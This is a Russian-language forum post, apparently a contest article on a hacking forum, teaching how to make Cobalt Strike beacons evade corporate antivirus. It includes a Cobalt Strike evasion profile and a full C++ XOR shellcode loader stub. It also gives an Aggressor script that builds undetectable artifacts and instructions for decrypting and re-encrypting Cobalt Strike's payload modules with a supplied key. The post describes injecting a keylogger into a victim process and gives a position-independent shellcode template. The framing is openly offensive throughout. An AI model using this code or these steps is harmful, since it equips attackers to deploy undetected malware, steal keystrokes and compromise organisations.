Вижу, не только тебя одного (плюсуют твой пост) интересует эта тема... отвечу так:
Я просто случайно проходил мимо и увидел раздел с конкурсом статей - меня это заинтересовало, а потом я там увидел пару интересных постов от спонсора данного конкурса и это меня мотивировало поучаствовать (не выиграть) в конкурсе... вот и все...
Не знаю, для начала, посмотрим на результаты голосования, возможно я напишу еще больше статей по этой теме для этого форума...
Естественно, я все статьи сразу постить не буду, постепенно, для того чтобы у желающих почитать была мотивация чаще посещать данный форум и возможно участвовать в интересных обсуждениях...

PS: Ребят, те кто в ЛС писали, я дико извиняюсь, у меня сейчас времени нет всем ответить, я сюда заскочил на пару минут, постараюсь найти время и ответить вам позже.
По поводу ссылки на статью, я ее и писал для того чтобы как можно больше людей прочитали этот проект (скажем так, цикл статей). я учту ваши вопросы из ЛС и подумаю, над тем как доступнее изложить стаф, чтобы он был понятнее для начинающих...
На счет работы (я знаю, что есть такие, для кого не важна цена, а важен результат), но я не являюсь специалистом в этой области, просто имею кое-какие мысли на данную тему, я понимаю, что после релиза четвертой статьи... все будут думать, что я нагло соврал сейчас, но это правда - я себя не считаю специалистом... но на данном этапе давайте дождемся результатов голосования...
 
Вообще существует в проекте 3+ статьи, но в конкурсе будет участвовать одна, а именно 3 статья.
Если эта статья займет хоть какое-то место, то я размещу здесь остальные две части. (большее количество статей зависит от того, какое место займет данная статья)
Первая статья о том, как создать безопасную боевую машину с нуля.
Вторая статья о том, как защититься от атак антивирусных специалистов на ваш командный сервер.
Ну, и третья, а именно эта, о том, как противодействовать системам защиты, а именно корпоративным антивирусам.
Я посчитал эту тему более важной, чем даже какой-то там зеродей, - прочитав эту статью вы поймете почему я так думаю...
Статья разделена на две части. первая часть статьи предназначена для начинающих, а вторая часть статьи предназначена для профессионалов.

Давайте начнем с банальной теории, так как без нее никуда, и далее посмотрим на это все в реально боевых условиях.
Представим, что вы начитались приватных статей о том, как закрепиться в системе и научились использовать годного зеродея.
Взяли в руки знамя победы и стуча в барабаны побежали на баррикады, чтобы захватить как можно больше уязвимых систем.
Но ваша радость продлиться не долго, так как ваш маяк(beacon)/артефакт не будет иметь отстука. (пусть даже закриптованный мегаприватным криптором и имеющий FUD Scantime и Runtime)
Давайте теперь смоделируем ситуацию и посмотрим почему так происходит.
С начала взглянем на возможности, которые нам предоставляет сам CobaltStrike, а именно на некоторые опции в файле профиля.
Код:
stage {
    set allocator           "HeapAlloc";   
    set name                "winrar.dll";
    set module_x86          "mshtml.dll";
    set checksum            "0";
    set entry_point         "180000";
    set image_size_x86      "5977600";
    set userwx                 "false";
    set cleanup                "true";
    set stomppe                "true";
    set obfuscate            "true";
    set rich_header         "";
   
    set sleep_mask          "true";
    set smartinject         "true";

    transform-x86 { # transform the x86 rDLL stage
        prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
        strrep "ReflectiveLoader" "getIndex"; # Change this text
        strrep "This program cannot be run in DOS mode" ""; # Remove this text
        strrep "beacon.dll" ""; # Remove this text
    }
}

Видим достаточно много настроек с помощью которых мы можем изменить наш маяк(beacon) чтобы избежать антивирусных детектов.
Ок. создаем наш маяк(beacon) (см. третий скриншот) и закриптуем его мегаприватным криптором и на выходе получим FUD Scantime и Runtime:
Запускаем наш маяк(beacon) на тестовой виртуальной машине с установленным антивирусом.
Здесь хочу уточнить, я взял для примера, древний антивирус ESET Endpoint Antivirus v5
Естественно, обновил базы, чтобы EEA v5 мог задетектить свежий билд CobaltStrike
И видим на скриншоте, что наш засранчик запустился и пытается отстучаться на командный сервер - все работает:
Посмотреть вложение 24194

Далее представим, что как только маяк(beacon) начнет стучать на командный сервер, то сработает firewall (для примера COMODO) и сообщит, что какой-то процесс пытается соединиться с таким-то IP.
Соответственно заставляя юзера инициализировать сканирование памяти антивирусом.
И вуаля, наш хорошо прожаренный бекон(beacon) был съеден динозавром ESET Endpoint Antivirus v5, древнее может быть только ESET NOD32 Antivirus v4 десятилетней давности...
Посмотреть вложение 24195

Как же так, ведь если почитать справку CobaltStrike, то можно узнать из нее, что, ну например, obfuscate:

Или, например, sleep_mask:
Код:
Obfuscate Beacon, in-memory, prior to sleeping
Но на практике банальное сканирование памяти, сводит на нет реализацию данных опций в профиле.


Теперь, когда, мы узнали, что даже закриптованный маяк(beacon) не будет защищен от антивируса.
А раз нас так примитивно задектить могут, то и бессмысленным становится закрепление в системе и т. д.

Стоит также отметить, что это не единичная проблема, я также некоторые проблемы затрагиваю в первой и во второй статьях. (в частности, атаки на командный сервер...)

Ну вот теперь мы и подошли к самому главному, как же противостоять подобным детектам?
Автор CobaltStrike'а советует при возможности генерировать артефакт с уже встроенным в него beacon.dll, а именно:

Посмотреть вложение 24196

У данного варианта есть существенный недостаток - это размер артефакта и в билд вшивается паблик ключ для шифрования трафика, если в командном сервере изменить/удалить файл .cobaltstrike.beacon_keys (всегда делайте резервную копию данного файла), то маяк(beacon) не сможет общаться с сервером, так как невозможно будет расшифровать приходящий трафик.
Но есть и огромные плюсы у данного метода генерации артефакта, я подробно об этом написал во второй статье.
Этот артефакт состоит из двух частей, первая - это стаб для расшифровки payload, и вторая - сам зашифрованный payload, который находится в секции .data
Нам надо понять какую часть детектит антивирус ESET Endpoint Antivirus v5, а для этого нам нужно установить заглушку, а по факту не дать отработать коду payload
Быстро это можно сделать просто пропатчив код в самом артефакте и после этого закриптовать этот пропатченый артифакт. Сказано - сделано:
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     E8 09FBFFFF             CALL 004027F0
00402CE7     C70424 00000000         MOV DWORD PTR SS:[ESP],0
00402CEE     E8 4DEBFFFF             CALL 00401840
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9

Это то место, где нужно пропатчить - это можно сделать в любом отладчике.
А пропатчить можно вот так:
Код:
00402CD0     8D4C24 04               LEA ECX,DWORD PTR SS:[ESP+4]
00402CD4     83E4 F0                 AND ESP,FFFFFFF0
00402CD7     FF71 FC                 PUSH DWORD PTR DS:[ECX-4]
00402CDA     55                      PUSH EBP
00402CDB     89E5                    MOV EBP,ESP
00402CDD     53                      PUSH EBX
00402CDE     51                      PUSH ECX
00402CDF     83EC 10                 SUB ESP,10
00402CE2     90                      NOP
00402CE3     90                      NOP
00402CE4     90                      NOP
00402CE5     90                      NOP
00402CE6     90                      NOP
00402CE7     90                      NOP
00402CE8     90                      NOP
00402CE9     90                      NOP
00402CEA     90                      NOP
00402CEB     90                      NOP
00402CEC     90                      NOP
00402CED     90                      NOP
00402CEE     90                      NOP
00402CEF     90                      NOP
00402CF0     90                      NOP
00402CF1     90                      NOP
00402CF2     90                      NOP
00402CF3     8B1D 98814400           MOV EBX,DWORD PTR DS:[<&KERNEL32.Sleep>]
00402CF9     C70424 10270000         MOV DWORD PTR SS:[ESP],2710
00402D00     FFD3                    CALL EBX
00402D02     50                      PUSH EAX
00402D03     EB F4                   JMP SHORT 00402CF9
Таким образом артефакт будет находиться в памяти в вечном цикле, и при этом у нас не отработает код payload
Если просканировать еще раз память, то можно увидеть, что антивирус ESET Endpoint Antivirus v5 детектит в памяти именно первую часть, а именно стаб расшифровки payload.

Теперь зная все это, мы можем почистить наш артефакт, и он будет работать как надо.


В CobaltStrike есть такая вещь как скрипты, а в них можно контролировать некоторые процессы и, в частности, генератор артефакта.
Это можно сделать в обработчике(hook'е):
Код:
set EXECUTABLE_ARTIFACT_GENERATOR {
}
Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/aggressor-script/hooks.html
Но перед тем, как начать писать код скрипта, нам нужно создать свой новый стаб расшифровки payload
Существующий стаб чистить уже бессмысленно, так как его почистить будет очень сложно, вернее почистить от детектов его можно, но для этого нужны знания, которых обычно у начинающих нет.
Тот метод, о котором я ниже напишу, не требует чего-то возвышенного, и достаточно иметь уровень знаний написания кода на уровне Windows HelloWorld.
Я приведу пример на C++, но можно делать реализацию на fasm/nasm/etc, delphi и т. д.
Код я упростил, до максимума, чтобы каждый мог понять.
Код:
#include <Windows.h>

#define DATA_SIZE 0x46000

#pragma pack(1)
typedef struct DATA {
    BYTE XKEY;
    DWORD size;
    BYTE payload[0];
} DATA, *PDATA;
#pragma pack()

typedef void(__cdecl *START)();

#pragma comment(linker, "/entry:EntryPoint")

#pragma data_seg(".data")
__declspec(allocate(".data")) char data[DATA_SIZE] = \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
#pragma data_seg()

int __cdecl EntryPoint()
{
    PBYTE buffer = (PBYTE)VirtualAlloc(NULL, DATA_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    PDATA pdata = (PDATA)&data[0];
    BYTE XKEY = pdata->XKEY;
    DWORD size = pdata->size;
    for(DWORD i = 0; i < size; i++)
    {
        buffer[i] = pdata->payload[i]^XKEY;
    }

    START start = (START)buffer;
    start();

    return 0;
}
Теперь нужно пояснить некоторые моменты в этом коде.
Здесь в коде мы указываем компилятору #pragma data_seg(".data") в процессе компиляции разместить в секции .data сигнатуру, состоящую из 1024 символов A и создать секцию размером, указанным в константе DATA_SIZE
Такая сигнатура нужна чтобы потом в скрипте найти нужное место и вставить туда payload, который CobaltStrike нам передаст в обработчике(hook'е) EXECUTABLE_ARTIFACT_GENERATOR
Важно также выделить место нужного размера в секции .data, если этого не сделать, то компилятор создаст просто секцию данных меньшего размера с неинициализированными данными, что будет приводить к плачевным результатам.
При запуске артефакта и в процессе его работы выделяется память VirtualAlloc и потом копируются в выделенную память данные, которые дексорятся.
Я специально взял обычный ксор(xor) в качестве шифрования, чтобы было понятно, да и в реале ESET Endpoint Antivirus v5 даже не реагирует на payload в незашифрованном виде, так что тут достаточно будет простого ксора.
Ну а далее запускается расшифрованный payload функцией start.
Все. Этот простой, без всяких заморочек код, ESET Endpoint Antivirus v5 не способен задетектить и наш маяк(beacon) будет работать без проблем даже незакриптованным.


Теперь, когда у нас есть новый годный стаб, нам нужно создать артефакт, а для этого нам нужно написать специальный скрипт:
Код:
# Arguments
#     $1 = artifact file (e.g., artifact32.exe)
#     $2 = shellcode
# Return
#    our generated artifact
set EXECUTABLE_ARTIFACT_GENERATOR {
    local('$handle $stub $key $index $payload $resname $buffer $edata $x');
    ($resname, $payload) = @_;

    # read in the executable template
    $handle = openf("C:\\CS43\\resources\\Stub.x86.exe");
    $stub = readb($handle, -1);
    closef($handle);
   
    # generate a random key
    $key = @();
    $key[0] = int(rand() * 253) + 1;
   
    # pack data into a buffer
    $buffer = allocate(1024);

    # [xor key] - 1 byte
    writeb($buffer, chr($key[0]));

    # [length of payload] - 4 bytes
    writeb($buffer, pack("i-", strlen($payload)));

    # find the location of our data in the executable
    $index = indexOf($stub, 'A' x 1024);
   
    # pack our encoded payload into the buffer
    for ($x = 0; $x < strlen($payload); $x++) {
        writeb($buffer, chr((byteAt($payload, $x) ^ $key[0]) & 0xFF ));
    }
   
    # retrieve the contents of the buffer.
    closef($buffer);
    $edata = readb($buffer, -1);

    # return our encoded shellcode.
    return replaceAt($stub, $edata, $index);
}
Просьба не пугаться - это модифицированный скрипт из стандартного пакета скриптов Artifact Kit (Perl он и в Африке Perl пусть даже и называется Sleep) и этот код скрипта специально адаптирован под код нового стаба.
Отмечу здесь несколько моментов, первое - это нужно указать в скрипте путь до стаба, а именно здесь: $handle = openf("C:\\CS43\\resources\\Stub.x86.exe"); - меняете на свой и все.
И еще нужно этот скрипт подгрузить в CobaltStrike для этого нужно в меню Cobalt Strike->Script Manager и в открывшейся новой вкладке Script жмем кнопку Load и выбираем наш скрипт.
Теперь, когда мы хотим сгенерировать новый артефакт (см. третий скриншот), нужно зайти в меню Attacks->Packages->Windows Executable (S) там выбрать нужные настройки, а Output: там должен быть выставлен как Windows EXE
Ну и самое важное, если нужно сгенерировать другой вариант артефакта, то требуется обязательно выгрузить этот скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Unload.
Также, если вы вдруг изменили скрипт, ну например, путь до новой версии стаба, то обязательно нужно перезагрузить скрипт, выбрав этот скрипт в списке загруженных скриптов и нажать кнопку Reload.
Теперь, если все сделать правильно, на выходе получим FUD артефакт, который не нужно даже криптовать... :)

======================================================================================

Стоит, пожалуй, упомянуть всуе, что в CobaltStrike существует масса инструментов, при помощи которых, можно добиться положительных эффектов.
И чтобы их все описать нужно написать несколько больших статей.
Но я все же хочу указать на некоторые моменты и постараться выделить важные нюансы, которые помогут понять скрытый потенциал возможностей CobaltStrike'а.

Давайте откроем наш cobaltstrike.jar в WinRar и там можно увидеть различные директории и одна из которых будет с именем sleeve, в ней находятся различные *.dll - это "боевой арсенал" CobaltStrike и ВСЕ ЭТИ ФАЙЛЫ потенциальные детекты для антивирусов.
Код:
ВАЖНО: Разные антивирусы реагируют по-разному на различные модули CobaltStrike'а, все зависит от обстоятельств и различных нюансов... (а вообще детект детекту рознь, сегодня на радаре антивирусов ничего нет, а уже через час или два какой-нибудь модуль CobaltStrike'а может светиться детектами как новогодняя елка.)
И здесь я хочу пояснить на маленьком примере, как происходить будет подобный детект...
Для примера, давайте посмотрим на скриншот ниже:

Посмотреть вложение 24197

Здесь я ввел команду keylogger в консоли (для наглядности - это можно сделать и через GUI), что заставит наш маяк присылать отчет о нажатых клавишах пользователем в различных программах.
Но на самом деле это всего лишь команда(actions), которая ставит задачу для нашего маяка(beacon) "подгрузить" keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) в указанный процесс (PID) в данном случае это будет процесс C:\Program Files\Common Files\Java\Java Update\jusched.exe
Да-да, здесь берется keylogger.dll и отсылается маяку(beacon) и там уже подгрызается в указанный процесс и далее эта keylogger.dll работает из-под того процесса как кейлоггер.
Если запустить блокнот и там что-нибудь написать, то в клиенте CobaltStrike во вкладке Keystrokes появится все то, что мы вводили в блокноте.
Ок. все работает и нас ESET Endpoint Antivirus v5 не замечает, но стоит только лишь просканировать память антивирусом и тут же получим детект:

Посмотреть вложение 24198

Здесь именно в процессе jusched.exe был найден модуль keylogger.dll который и является опасным объектом для антивируса. Но наш маяк(beacon) продолжает работать, так как мы его ранее уже почистили.
Естественно, возникает вопрос, а возможно ли почистить данный модуль, - да это возможно, но требует больших знаний и здесь больше нужно будет совершить манипуляций, но эта тема уже отдельной статьи.
Я же хочу показать, как можно "подменять" уже почищенные модули в cobaltstrike.jar
keylogger.dll (которая находится в директории sleeve в cobaltstrike.jar) зашифрована, как и многие файлы, которые находятся в директории sleeve.
Для того, чтобы какие-то из этих файлов почистить от детектов антивирусов, нужно их вначале расшифровать, почистить, а потом обратно зашифровать.
Вот я и хочу здесь описать этот процесс и как это можно будет сделать, но еще также бонусным прицепом хочу пояснить для чего нужны файлы с расширением *.o

Файлы с расширением *.o - это обычные obj файлы, которые можно получить после компиляции *.c или *.cpp файлов.
Давайте для начала более детально углубимся и проясним зачем же все-таки нужны эти файлы с расширением *.o
Если посмотреть в справочнике CobaltStrike, то можно увидеть некоторые опции для профиля, ну например, allocator:

Нам предоставляют возможность сделать выбор. Но в реале, это указывает CobaltStrike взять файл *.o из ресурсов, а именно из директории sleeve файл BeaconLoader.HA.x86.o (если мы указали значение HeapAlloc для allocator в нашем профиле)
Расшифровать его, и достать hex-код из секции .text и вставить его в определенное место в payload
Что же такое представляет из себя этот самый код в файле BeaconLoader.HA.x86.o - тут все просто, а именно это разновидность функции загрузки модуля beacon.dll в память.
Это ничто иное как модифицированный код из ReflectiveLoader.c который можно найти на github.com
Зная это, мы можем создать свой код загрузчика, который после загрузки маяка в память, будет делать фикс в памяти тех мест, которые и вызывают детект у антивируса - вообще эта тема довольно обширна и требует написание отдельной статьи, особенно это когда касается облачных технологий.

Итак, для того чтобы сделать подмены нам нужно зашифровать наш новый *.o(obj) или даже *.dll, но тут нужно будет вначале расшифровать, почистить, а только потом зашифровать.
Так как код расшифровки достаточно большой, чтобы его тут постить, я этот код (как и другие файлы) добавил в архив, который можно скачать ниже.
Код расшифровки написан на JAVA, поэтому нужно будет из него собрать модуль jar, как это сделать в интернете полно статей, расписывающих этот процесс от и до даже для самых далеких от этой темы людей...
Стоит лишь указать команду как запускать данную утилиту, для расшифровки файлов *.o и *.dll из директории sleeve в cobaltstrike.jar
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./SleeveUtil.jar Decrypt C:\CS43\sleeve\keylogger.dll
pause
Хотелось бы отметить тот факт, что если мы допустим решили подменить BeaconLoader.HA.x86.o, то нужно понимать, что здесь есть ограничения в размере самого кода и он не должен превышать 5kb - хотя этого вполне достаточно, чтобы реализовать очень многое, да и даже, если этого не хватит, то можно воспользоваться функцией сжатия aPLib, которая настолько в размере мала, что можно считать что ее нет вообще, а сжимает код настолько хорошо, что даже лучше всех остальных алгоритмов сжатия, к примеру, того же UPX...
Как расшифровать мы уже знаем, но как же зашифровать обратно наши созданные, модифицированные или почищенные файлы?

Теперь мы подошли к утилитам, которые имеются на борту в cobaltstrike.jar
Наверное, многие уже знакомы с таким инструментом, как c2lint и который можно запустить из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar c2profile.Lint "C:\c2.profile"
Таким образом мы можем проверить наш профиль на наличие примитивных ошибок.
В CobaltStrike существует еще (из многочисленных) один инструмент SleeveUtil
Вот эта утилита и позволит нам зашифровать нужные файлы.
Но SleeveUtil имеет специфичный формат использования, который отличается от обычного привычного нам, ну например, того же c2profile.Lint
Дело в том, что для того чтобы зашифровать файлы *.o и *.dll нужен специальный ключ, он находится в зашифрованном файле cobaltstrike.auth - более подробно я о нем писал в предыдущих статьях.
Но это еще не все, этот ключ в определенном формате должен находится в специальном файле resourcekey.bin в одной директории с cobaltstrike.jar
resourcekey.bin с нужным ключом от версии Cobalt Strike v4.3 я добавил в архив, который можно будет скачать ниже.
После того как мы разместим этот файл в одной директории с cobaltstrike.jar можно будет приступить к шифрованию *.o и *.dll файлов.
Еще одним важным условием является то, что файлы *.o и *.dll должны находится в директории resources, которую нужно создать в директории, где находится cobaltstrike.jar и уже в resources разместить нужные файлы для шифрования.
Теперь после всех этих манипуляций можно запустить утилиту шифрования из батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar common.SleeveUtil
pause
В результате будет создана директория bin, а в ней директория sleeve и вот в этой директории и будут находится годные зашифрованные файлы.
Но это еще не все, для того чтобы CobaltStrike их начал использовать, их нужно разместить в директории sleeve, которая должна также находиться в одной директории с cobaltstrike.jar
Теперь мы умеем шифровать и расшифровывать файлы *.o и *.dll
Ну хорошо, если с *.dll файлами все понятно их надо расшифровать, почистить от детектов и обратно зашифровать и все, но вот с *.o файлами дела обстоят куда сложнее.
Я хочу более подробно описать некоторые нюансы касательно файлов *.o
Просто так взять написать код в cpp файле и скомпилировать не получится, скорее все на выходе получится "неправильный" *.o(obj) с точки зрения CobaltStrike'а
Для примера, после запуска CobaltStrike'а в консоли может появиться предупреждение типа такого: Assertion failed: 1024 <= 10 (value) <= 5120 does not hold
CobaltStrike сообщает, что секция кода меньше требуемой она равна 10 байтам, а требуется минимум 1024.
Все дело в том, что компилятор создает в obj файле несколько секций кода, а парсер CobaltStrike'а берет первую, а там может быть код какой-нибудь инлайн функции размером в 10 байт.
Далее ниже я покажу как правильно создавать нужный код, но, а сейчас давайте воспользуемся утилитой OBJExecutable из cobaltstrike.jar
С помощью этой утилиты можно посмотреть данные из файлов с расширением *.o или *.obj
Вообще это некий парсер obj файлов, но он также проверяет эти самые obj файлы на валидность
Запустив эту утилиту с помощью батника:
Код:
java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar pe.OBJExecutable C:\BeaconLoader.HA.x86.obj
pause
На выходе мы получим в консоли дамп данных, где можно увидеть некоторые значения, которые могут понадобиться при определенных обстоятельствах.
Для примера, давайте посмотрим на эти данные:
Код:
.text$mn$3.Characteristics         [Code, Executable, Readable, 0x60501020]
.text$mn$3.NumberOfLinenumbers     0x0         0
.text$mn$3.NumberOfRelocations     0x0         0
.text$mn$3.PointerToLinenumbers    0x0         0
.text$mn$3.PointerToRawData        0x53e       1342
.text$mn$3.PointerToRelocations    0x0         0
.text$mn$3.SizeOfRawData           0xa         10
.text$mn$3.VirtualAddress          0x0         0
.text$mn$3.VirtualSize             0x0         0
.text$mn.Characteristics           [Code, Executable, Readable, 0x60500020]
.text$mn.NumberOfLinenumbers       0x0         0
.text$mn.NumberOfRelocations       0x5         5
.text$mn.PointerToLinenumbers      0x0         0
.text$mn.PointerToRawData          0x1d3       467
.text$mn.PointerToRelocations      0x50c       1292
.text$mn.SizeOfRawData             0x339       825
.text$mn.VirtualAddress            0x0         0
.text$mn.VirtualSize               0x0         0

Нас интересует значения .text$mn$3.SizeOfRawData 0xa 10 - мы видим размер этой секции кода равен 10 байтам.
Если посмотреть ниже, то можно заметить другую секцию кода .text$mn.SizeOfRawData 0x339 825 - но уже с другим размером секции кода.
А нам требуется минимум секция кода 1024 байта.
Теперь давайте взглянем на правильный шаблон кода (в этом примере кода, убрано все лишнее для наглядности), и разберем некоторые важные моменты:
Код:
#pragma comment(linker, "/entry:EntryPoint")
int __cdecl EntryPoint();
void __cdecl start() {
    EntryPoint();
}

#include "Header.hpp"
HMODULE GetDllBaseByHash(DWORD Hash);
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash);

int __cdecl EntryPoint()
{
    char szWinExec[] = {'W','i','n','E','x','e','c', 0};
    char szSleep[] = {'S','l','e','e','p', 0};
    char szNotepad[] = {'n','o','t','e','p','a','d','.','e','x','e', 0};

    HMODULE hKernel32 = GetDllBaseByHash(HASH_KERNEL32);
    pGetProcAddress GetProcAddress = (pGetProcAddress)GetProcAddressByHash(hKernel32, HASH_GETPROCADDRESS);
    pWinExec WinExec = (pWinExec)GetProcAddress(hKernel32, szWinExec);
    pSleep Sleep = (pSleep)GetProcAddress(hKernel32, szSleep);

    WinExec(szNotepad, SW_NORMAL);
    while(true) { Sleep(1000); }

    int pump[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 };
    return pump[0];
}

HMODULE GetDllBaseByHash(DWORD Hash) { . . . }
LPVOID GetProcAddressByHash(HMODULE Module, DWORD Hash) { . . . }
Первое, что хотелось бы отметить, чтобы добавить лишние байты в секцию кода (если вдруг секция кода окажется меньше чем 1024 байта), можно воспользоваться инициализацией данных в стеке, а именно int pump[] = { 0,0,... }; - добавляете нужное количество нулей и все.
Второе, ваш код (а точнее шелкод) должен быть независимым от чего-либо (вернее от всего), то есть, нужно "ручками" находить указатели на API функции и только после этого их использовать, а данные размещать непосредственно в секции кода...
Третье и самое важное стартовать ваш код должен с начала секции. Я специально показал как этого можно достичь при помощи функции void __cdecl start() {EntryPoint();} - эта функция должна быть обязательно первой даже выше всех заголовочных файлов.
А реализация всех остальных функций должна находиться ниже функции, которая определяется в директиве /entry:
После того как скомпилируется исходный код, obj можно будет найти в директории Release, если допустим компиляция осуществлялась в Visual Studio 20XX
Если все правильно сделали, то можно будет шифровать этот obj и использовать по прямому назначению.
thanks for the very good article, that's why vote for you congratulations
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх